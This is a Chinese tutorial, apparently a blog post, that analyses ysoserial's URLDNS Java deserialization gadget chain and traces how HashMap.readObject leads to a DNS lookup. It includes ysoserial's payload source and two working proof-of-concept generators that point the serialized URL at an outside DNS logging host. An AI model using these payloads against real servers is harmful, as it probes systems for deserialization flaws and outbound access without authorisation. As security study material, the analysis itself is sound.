介绍
URLDNS链是用来触发DNS请求的,一般用于检测是否存在反序列化漏洞和判断目标主机能否出网.由于用java的内置类构造不依赖其他组件,所以不存在什么限制.
项目地址:https://github.com/frohoff/ysoserial
参数调试
在运行配置中输入参数URL
运行成功
在这里打一个断点(URLStreamHandler)
在调试的过程中,可能会遇到一些情况,走到断点hashcode()
的地方,但并不是反序列化.因为在构造的时候,也会去调用hashcode()
.只要看调用栈里面是否有readObject就好了
分析
HashMap
具体可以参考博客:java之HashMap
简单来说,HashMap通过hashcode对其内容进行快速查找
HashMap重载了readObject函数。
在下图中可以看到,它调用了putVal
重新计算了key的hash值
跟进hash,可以看到调用了key的hashcode()
(这里是无参)。
如果想要构造反序列化链的话,我们需要找到实现了hashcode函数且传参可控可以被我们利用的类
URLDNS
查看URL类
跟进URLStreamHandler
,这里hashCode函数是有传参的,传入的参数是URL u
,是可控的。里面是hashcode的实现。
getHostAddress函数进行了DNS查询,将域名转换为实际的ip地址
由代码可以得知,这样做是为了计算hashcode值(一个host可能对应不止一个ip,这里也是为了保证hashcode的唯一性)
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
URLDNS链(HashMap+URLDNS)
接下来回归主题
源码
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
流程
// 首先通过触发了HashMap的readObject函数,会调用putVal()函数计算hashmap中的key
1. HashMap -> readObject() -> putVal() -> hash(key)
// 如果传入的key 是一个URL对象
2. key = URL url
// 然后会触发URL对象hashcode()
3. url.hashcode()
// 如果hashcode不为-1,就会调用handler的hashcode,并且传入url
4. url.handler.hashcode(url)
// 在handler的hashcode里面会调用getHostAddress,参数是url
5. getHostAddress(url)
// 最后发起一次dns请求
6. dns请求
调用栈
分析
主要代码
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
重点关注的就这4行
定位到HashMap的readObject
这里对readObject进行了重载,通过putVal函数,调用了hash(key)
,计算key的hashcode
跟进hash()
发现调用了key的hashcode(),这里传入的key是一个url对象(ht.put(u, url)
,u
对应key
,url
对应value
)
因此这里就触发了传入url对象的hashcode(),跟进一下
这里有个判断,如果hashCode为-1,则直接返回;不为-1的话,则调用hanlder的hashcode(),这里的this指传入的URL对象.
在前面的代码Reflections.setFieldValue(u, "hashCode", -1);
使得hashCode
为-1,触发handler.hashCode()
进一步跟进,调用了getHostAddress,通过这个函数来触发DNS请求
POC编写
public class URLDNS {
public static void getObjec(String url) throws Exception {
HashMap hashMap = new HashMap();
URL u = new URL(url);
hashMap.put(u, url);
// 序列化路径
String path = System.getProperty("user.dir") + "/src/main/resources/URLDNS.ser";
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
}
public static void main(String[] args) throws Exception {
String sessId = String.valueOf(System.currentTimeMillis());
String url = "http://"+sessId + ".1.dns.kradress.cn";
getObjec(url);
}
}
但是这里有一个问题,在序列化的时候会发送DNS请求。
这时候就理解了ysoserial中这行代码的作用.
SilentURLStreamHandler
继承了URLStreamHandler
,重写了父类中的openConnection
和getHostAddress
方法,使其return null
,来防止序列化的时候发送URL请求和DNS查询
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
还有种方法可以解决这个问题
可以看到只要hashCode不为-1,就不会调用handler.hashCode(),也就不会通过getHostAddress(url)触发dns请求
因为URL中的hashCode是私有的,这里用反射去修改它的值
public class URLDNS {
public static void getObjec(String url) throws Exception {
HashMap hashMap = new HashMap();
URL u = new URL(url);
// 通过反射获取hashCode变量
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
// 解除访问限制
hashCode.setAccessible(true);
// 随便设一个值,不为-1就行
hashCode.set(u, 0);
// hashMap.put(u, url)会执行URL.hashCode(),这时候hashCode不为-1就不会触发handler.hashCode()
hashMap.put(u, url);
// 等hashMap.put(u, url)执行完了改回去,使得序列化的时候hashcode为-1
hashCode.set(u, -1);
// 序列化路径
String path = System.getProperty("user.dir") + "/src/main/resources/URLDNS.ser";
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
}
public static void main(String[] args) throws Exception {
String sessId = String.valueOf(System.currentTimeMillis());
String url = "http://"+sessId + ".1.dns.kradress.cn";
getObjec(url);
}
}
这下就不会在序列化的时候触发DNS查询了